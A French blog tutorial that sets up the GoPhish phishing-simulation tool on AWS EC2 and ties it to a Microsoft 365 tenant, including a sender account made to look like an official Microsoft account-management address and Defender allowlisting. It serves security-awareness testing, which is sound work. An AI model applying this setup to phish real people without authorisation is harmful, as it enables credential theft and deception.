<p>Tout ce que j&rsquo;explique sur cette partie est totalement gratuite, on peut bénéficier <a href="https://aws.amazon.com/fr/ec2/pricing/" target="_blank" rel="noopener">de l&rsquo;offre 1 an</a>, cela est suffisant pour mon besoin.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2gratuite.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6553" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2gratuite.png" alt="" width="941" height="377" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2gratuite.png 941w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2gratuite-600x240.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2gratuite-300x120.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2gratuite-768x308.png 768w" sizes="auto, (max-width: 941px) 100vw, 941px" /></a><br />Il faut avoir créé un compte sur AWS puis aller sur <a href="https://console.aws.amazon.com/ec2/v2/home" target="_blank" rel="noopener">Amazon EC2</a></p>
<p><a href="https://console.aws.amazon.com/ec2/v2/home"><img loading="lazy" decoding="async" class="aligncenter wp-image-6554 size-full" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/demarrerec2.png" alt="" width="368" height="58" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/demarrerec2.png 368w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/demarrerec2-300x47.png 300w" sizes="auto, (max-width: 368px) 100vw, 368px" /></a></p>
<p>En haut à droite, vérifier qu&rsquo;on soit bien sur la Région de Europe/Paris</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/awsparis.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7670" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/awsparis.png" alt="" width="351" height="102" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/awsparis.png 351w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/awsparis-300x87.png 300w" sizes="auto, (max-width: 351px) 100vw, 351px" /></a></p>
<p>puis</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6557" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2.png" alt="" width="394" height="159" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2.png 394w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-300x121.png 300w" sizes="auto, (max-width: 394px) 100vw, 394px" /></a></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-3.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6558" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-3.png" alt="" width="858" height="386" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-3.png 858w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-3-600x270.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-3-300x135.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-3-768x346.png 768w" sizes="auto, (max-width: 858px) 100vw, 858px" /></a></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-4.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6559" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-4.png" alt="" width="797" height="753" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-4.png 797w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-4-600x567.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-4-300x283.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-4-768x726.png 768w" sizes="auto, (max-width: 797px) 100vw, 797px" /></a></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-5.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6560" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-5.png" alt="" width="787" height="280" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-5.png 787w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-5-600x213.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-5-300x107.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-5-768x273.png 768w" sizes="auto, (max-width: 787px) 100vw, 787px" /></a></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-6.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6561" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-6.png" alt="" width="790" height="248" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-6.png 790w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-6-600x188.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-6-300x94.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-6-768x241.png 768w" sizes="auto, (max-width: 790px) 100vw, 790px" /></a></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cles2.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6572" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cles2.png" alt="" width="613" height="657" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cles2.png 613w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cles2-600x643.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/cles2-280x300.png 280w" sizes="auto, (max-width: 613px) 100vw, 613px" /><br /></a>Je télécharge le fichier de clé, attention de bien prendre un fichier ppk et non pem.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-22.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6573" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-22.png" alt="" width="791" height="788" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-22.png 791w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-22-300x300.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-22-100x100.png 100w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-22-600x598.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-22-150x150.png 150w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-22-768x765.png 768w" sizes="auto, (max-width: 791px) 100vw, 791px" /></a></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-89png.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6565" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-89png.png" alt="" width="789" height="492" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-89png.png 789w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-89png-600x374.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-89png-300x187.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-89png-768x479.png 768w" sizes="auto, (max-width: 789px) 100vw, 789px" /></a></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-10png.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6566" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-10png.png" alt="" width="585" height="115" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-10png.png 585w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/ec2-10png-300x59.png 300w" sizes="auto, (max-width: 585px) 100vw, 585px" /></a></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws4.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6579" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws4.png" alt="" width="318" height="149" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws4.png 318w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws4-300x141.png 300w" sizes="auto, (max-width: 318px) 100vw, 318px" /></a></p>
<p>Une fois tout installé et lancé, j&rsquo;ai tout au vert :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/instance.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6569" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/instance.png" alt="" width="962" height="85" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/instance.png 962w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/instance-600x53.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/instance-300x27.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/instance-768x68.png 768w" sizes="auto, (max-width: 962px) 100vw, 962px" /></a></p>
<h2>Je configure le groupe de sécurité de mon instance</h2>
<p>Par mesure de sécurité, j&rsquo;ai déjà réservé l&rsquo;accès SSH à ma seule adresse IP via l&rsquo;assistant de création de l&rsquo;instance, il faut maintenant que je configure les ports devant être utilisés par GoPhish.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws5.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6580" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws5.png" alt="" width="203" height="203" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws5.png 203w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws5-100x100.png 100w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws5-150x150.png 150w" sizes="auto, (max-width: 203px) 100vw, 203px" /></a></p>
<p>Je vais dans Réseau et sécurité puis Groupes de sécurité, je sélectionne le groupe launch-wizard, règles entrantes, modifier les règles entrantes</p>
<p>J&rsquo;ajoute une entrée TCP personnalisé avec un numéro de port autre que 3333 qui sera le numéro de port que j&rsquo;utiliserai pour GoPhish, je mets 8531 par exemple.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws6.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6581" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws6.png" alt="" width="1198" height="286" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws6.png 1198w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws6-600x143.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws6-300x72.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws6-1024x244.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws6-768x183.png 768w" sizes="auto, (max-width: 1198px) 100vw, 1198px" /></a></p>
<h2>J&rsquo;utilise une Adresse IP Elastic (facultatif)</h2>
<p>Pour avoir toujours la même adresse IP, j&rsquo;utilise cette fonctionnalité.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws7.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6582" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws7.png" alt="" width="376" height="225" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws7.png 376w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws7-300x180.png 300w" sizes="auto, (max-width: 376px) 100vw, 376px" /></a></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws8-1.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6584" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws8-1.png" alt="" width="747" height="683" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws8-1.png 747w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws8-1-600x549.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws8-1-300x274.png 300w" sizes="auto, (max-width: 747px) 100vw, 747px" /></a></p>
<p><em>Attention, les adresses IP élastiques sont payantes lorsqu&rsquo;elles ne sont pas associées à une instance en cours d&rsquo;exécution. Cela signifie que si vous réservez une adresse IP élastique mais ne l&rsquo;utilisez pas, vous serez facturé. Cependant, une fois qu&rsquo;une adresse IP élastique est associée à une instance en cours d&rsquo;exécution, vous ne serez pas facturé tant que l&rsquo;instance est en cours d&rsquo;exécution et que l&rsquo;adresse IP est associée à cette instance. Si l&rsquo;instance est arrêtée ou terminée, vous pouvez toujours être facturé pour l&rsquo;utilisation de l&rsquo;adresse IP élastique, à moins que vous ne la dissociiez de l&rsquo;instance ou que vous la libériez.</em></p>
<h2>J&rsquo;installe Putty </h2>
<p>Putty va me permettre de me connecter en SSH à mon instance EC2, cela de manière sécurisé avec un jeu de clé (privée/publique).</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/putty1.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6570" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/putty1.png" alt="" width="495" height="387" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/putty1.png 495w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/putty1-300x235.png 300w" sizes="auto, (max-width: 495px) 100vw, 495px" /></a></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/putty2.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6571" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/putty2.png" alt="" width="200" height="92" /></a></p>
<p>Il me faut récupérer les paramètres de connexion sur l&rsquo;instance.</p>
<p>Pour cela, je fais un clic droit sur l&rsquo;instance, puis « se connecter » / Client SSH.</p>
<p>Je note le DNS public qui m&rsquo;est donné, il me servira pour le host de Putty</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws10.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6585" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws10.png" alt="" width="411" height="48" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws10.png 411w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws10-300x35.png 300w" sizes="auto, (max-width: 411px) 100vw, 411px" /></a></p>
<p>Je lance Putty, j&rsquo;ajoute le Host :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws11.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6586" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws11.png" alt="" width="454" height="444" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws11.png 454w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws11-300x293.png 300w" sizes="auto, (max-width: 454px) 100vw, 454px" /></a></p>
<p>puis je spécifie le fichier de clé privé créé plus haut :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws12.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6587" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws12.png" alt="" width="457" height="445" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws12.png 457w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws12-300x292.png 300w" sizes="auto, (max-width: 457px) 100vw, 457px" /></a></p>
<p>Pour que ce soit plus simple, j&rsquo;ajoute le user ubuntu comme Auto-login dans Connection/Data</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws13.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6588" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws13.png" alt="" width="457" height="449" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws13.png 457w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/aws13-300x295.png 300w" sizes="auto, (max-width: 457px) 100vw, 457px" /></a></p>
<p>Je lance la connexion, c&rsquo;est bon, j&rsquo;ai la ligne de commande d&rsquo;Ubuntu.</p>
<h2>J&rsquo;installe GoPhish</h2>
<p>Je vais chercher la dernière version qui doit être téléchargée sur le <a href="https://github.com/gophish/gophish/releases">dépôt Github officiel</a>.</p>
<p>Au jour de création de ce RetEx, la dernière version est ici :<br />https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip</p>
<p>Sur la ligne de commande d&rsquo;Ubuntu, je charge le fichier zip et je le décompresse dans opt/ :</p>
<pre class="EnlighterJSRAW" data-enlighter-language="bash">wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
sudo apt install unzip
unzip gophish-v0.12.1-linux-64bit.zip -d ./gophish
rm gophish-v0.12.1-linux-64bit.zip
sudo chmod +x ./gophish/gophish</pre>
<p data-enlighter-language="powershell"><br />Je vais devoir configurer l&rsquo;IP de gophish et son port.<br />Pour cela, je modifie le fichier config.json<br /><br /></p>
<pre class="EnlighterJSRAW" data-enlighter-language="bash">cd gophish
vim config.json</pre>
<p>Je remplace 127.0.0.1:3333 par 0.0.0.0:8531 sur la ligne listen_url</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/gophis1.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6594" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/gophis1.png" alt="" width="400" height="100" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/gophis1.png 400w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/gophis1-300x75.png 300w" sizes="auto, (max-width: 400px) 100vw, 400px" /></a></p>
<p>Je lance gophish</p>
<pre class="EnlighterJSRAW" data-enlighter-language="powershell">./gophish</pre>
<p>J&rsquo;obtiens un message d&rsquo;erreur, probablement une sécurité sur l&rsquo;écoute du port 80 par un utilisateur non root, j&rsquo;ai rapidement essayé de corriger cela avec ipfw mais il n&rsquo;est pas sur ma machine et avec iptables, je n&rsquo;ai rien eu de plus satisfaisant. C&rsquo;est plutôt moche et non conseillé, mais comme mon instance Ec2 ne restera pas en prod, je lance un :</p>
<pre class="EnlighterJSRAW" data-enlighter-language="bash">sudo ./gophish</pre>
<p>C&rsquo;est bon, mon GoPhish est lancé </p>
<p>dans le texte de la ligne de commande, je récupère le mot de passe qui m&rsquo;est donné sur la ligne</p>
<pre>Please login with the username admin and the password xxx</pre>
<h2>Je souhaite utiliser Gophish sans garder ma fenêtre SSH ouverte (facultatif)</h2>
<p>J&rsquo;ajoute ce paragraphe ici pour plus de cohérence mais il peut être exécuté plus tard quand Gophish fonctionnera manuellement.</p>
<h4>J&rsquo;autorise le lancement de Gophish sans être root (sudo)</h4>
<p>Pour éviter d&rsquo;avoir à utiliser une commande <strong>sudo</strong> pour lancer Gophish, je vais autoriser l&rsquo;utilisateur <strong>ubuntu</strong> à interagir sur le port 80 qui est un port privilégié. En effet la commande <strong>cap_net_bind_service</strong> permet à cet exécutable (gophish) de lier des sockets réseau à des ports dont le numéro est inférieur ou égal à 1024, même s&rsquo;il n&rsquo;est pas exécuté en tant qu&rsquo;utilisateur root.</p>
<pre class="EnlighterJSRAW" data-enlighter-language="bash">sudo setcap 'cap_net_bind_service=+ep'  /home/ubuntu/gophish/gophish</pre>
<p>Ainsi, à partir de maintenant, inutile de taper sudo pour lancer gophish, la commande peut être :</p>
<pre class="EnlighterJSRAW" data-enlighter-language="bash">./gophish</pre>
<h4 class="EnlighterJSRAW" data-enlighter-language="bash"><br />Message d&rsquo;erreur open gophish_admin.key: permission denied</h4>
<p>Si ce message d&rsquo;erreur apparait, il faut modifier les permissions du fichier gophish_admin.key</p>
<p>Voici les commandes :</p>
<pre class="EnlighterJSRAW" data-enlighter-language="shell">cd ~/gophish
ls -l gophish_admin.key
sudo chmod 644 gophish_admin.key
sudo chown ubuntu:ubuntu gophish_admin.key
ls -l gophish_admin.key
./gophish
</pre>
<p> </p>
<h4>Je déclare gophish comme un service</h4>
<p>Je vais ajouter un fichier <strong>gophish.service</strong> dans /etc/systemd/system/gophish.service</p>
<pre class="EnlighterJSRAW" data-enlighter-language="bash">[Unit]
Description=GoPhish Service
After=network.target

[Service]
ExecStart=/home/ubuntu/gophish/gophish
Type=simple
PIDFile=/var/run/gophish
User=ubuntu
WorkingDirectory=/home/ubuntu/gophish

[Install]
WantedBy=default.target</pre>
<p>Pour ne pas avoir à tout taper, j&rsquo;ai mis cela sur un gist, pour le récupérer directement :</p>
<pre class="EnlighterJSRAW" data-enlighter-language="bash">sudo wget https://gist.githubusercontent.com/sigalou/267349eada979e07c99dc5944253169c/raw/e5d8769bb86b40e15ad0c4631629d575e440199a/gophish.service -O /etc/systemd/system/gophish.service</pre>
<p>Cela peut être testé par :</p>
<pre class="EnlighterJSRAW" data-enlighter-language="bash">sudo systemctl daemon-reload
sudo systemctl enable gophish
sudo systemctl start gophish
sudo systemctl status gophish</pre>
<p>Je relance mon instance, c&rsquo;est bon, Gophish se lance automatiquement.</p>
<h2>Je lance GoPhish</h2>
<p>De retour dans mon navigateur, je relève l&rsquo;ip élastique ou ip public de l&rsquo;instance, je colle cette adresse suivi de :8531 qui est le port définit plus haut</p>
<p>Je vais donc par exemple sur https://13.36.81.72:8531</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go1.png"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6603" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go1.png" alt="" width="243" height="253" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go1.png 456w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go1-289x300.png 289w" sizes="auto, (max-width: 243px) 100vw, 243px" /></a></p>
<p>Ici on utilise donc « admin » et le mot de passe relevé en ligne de commande au moment du lancement. Immédiatement GoPhish demande de changer le mot de passe et on est ainsi connecté sur GoPhish.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go2.png"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6604" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go2.png" alt="" width="582" height="268" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go2.png 1395w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go2-600x277.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go2-300x138.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go2-1024x472.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go2-768x354.png 768w" sizes="auto, (max-width: 582px) 100vw, 582px" /></a></p>
<h2>J&rsquo;ajoute un utilisateur « piégeur » sur le Tenant 365</h2>
<p>En me connectant en administrateur ayant les droit de gérer les utilisateurs, j&rsquo;ajoute un nouvel utilisateur.</p>
<p>J&rsquo;ai choisi d&rsquo;utiliser un utilisateur que je maquille comme si c&rsquo;était un compte officiel de microsoft de gestion des comptes.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-1.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6607" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-1.png" alt="" width="742" height="288" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-1.png 742w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-1-600x233.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-1-300x116.png 300w" sizes="auto, (max-width: 742px) 100vw, 742px" /></a></p>
<p>Je lui ai même mis un joli logo qui fait sérieux.</p>
<p>Evidemment, je lui affecte une licence qui permet d&rsquo;avoir un compte mail puis je vais dans l&rsquo;onglet <strong>Courrier</strong> de cet utilisateur puis<strong> logiciels de courrier</strong> et je vais cocher au minimum la case <strong>SMTP authentifié</strong>.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-2.png"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6608" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-2.png" alt="" width="462" height="284" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-2.png 711w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-2-600x369.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-2-300x184.png 300w" sizes="auto, (max-width: 462px) 100vw, 462px" /></a></p>
<p>(Facultatif) Pour me simplifier la vie et ne pas à avoir à ajouter cette boite au lettre, j&rsquo;ai mis un transfert de tous les mails reçus sur cette boite vers mon adresse mail dans Courrier/Transfert des courriers.</p>
<h2>Je configure Microsoft Defender pour autoriser GoPhish</h2>
<p>Microsoft a tout prévu. Ils ont pensé à proposé sur une licence payante une campagne de phishing pédagogique (licence Defender Plan 2) mais ils ont aussi pensé aux bidouilleurs désargentés en permettant de manuellement autoriser cela.</p>
<p>Je lance <a href="https://security.microsoft.com/" target="_blank" rel="noopener">Microsoft Defender</a>.</p>
<p>Puis <strong>Stratégies et règles</strong></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-3.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6609" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-3.png" alt="" width="295" height="127" /></a></p>
<p>Puis <strong>Stratégies de menace / Remise avancée</strong></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-4.png"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6610" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-4.png" alt="" width="486" height="345" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-4.png 1008w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-4-600x426.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-4-300x213.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-4-768x545.png 768w" sizes="auto, (max-width: 486px) 100vw, 486px" /></a></p>
<p>Et enfin Onglet <strong>Simulation d&rsquo;hameçonnage</strong></p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-5.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6611" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-5.png" alt="" width="520" height="228" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-5.png 520w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-5-300x132.png 300w" sizes="auto, (max-width: 520px) 100vw, 520px" /></a></p>
<p>Merci Sigalou !!! Il fallait le trouver cet onglet </p>
<p>Ensuite, il faut configurer le <strong>domaine</strong> et <strong>l&rsquo;IP</strong>.</p>
<p>Le Domaine est l&rsquo;adresse du domaine qui va envoyer le mail, cela correspond au domaine du SMTP From que je vais spécifier dans GoPhish.</p>
<p>L&rsquo;IP est l&rsquo;IP élastique ou public de l&rsquo;instance.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-6.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6612" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-6.png" alt="" width="547" height="372" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-6.png 547w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/365-6-300x204.png 300w" sizes="auto, (max-width: 547px) 100vw, 547px" /></a></p>
<h2>Je configure le SMTP de GoPhish</h2>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-1.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6613" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-1.png" alt="" width="787" height="396" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-1.png 787w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-1-600x302.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-1-300x151.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-1-768x386.png 768w" sizes="auto, (max-width: 787px) 100vw, 787px" /></a></p>
<p>De retour dans GoPhish, je vais dans <strong>Sending Profiles</strong> et je vais créer un profil d&rsquo;envoi des messages :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-2.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-6614" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-2.png" alt="" width="704" height="647" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-2.png 704w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-2-600x551.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/04/go-2-300x276.png 300w" sizes="auto, (max-width: 704px) 100vw, 704px" /></a></p>
<p>Grace au bouton <strong>Send Test Email</strong>, je peux vérifier que tout fonctionne parfaitement, je reçois un message</p>
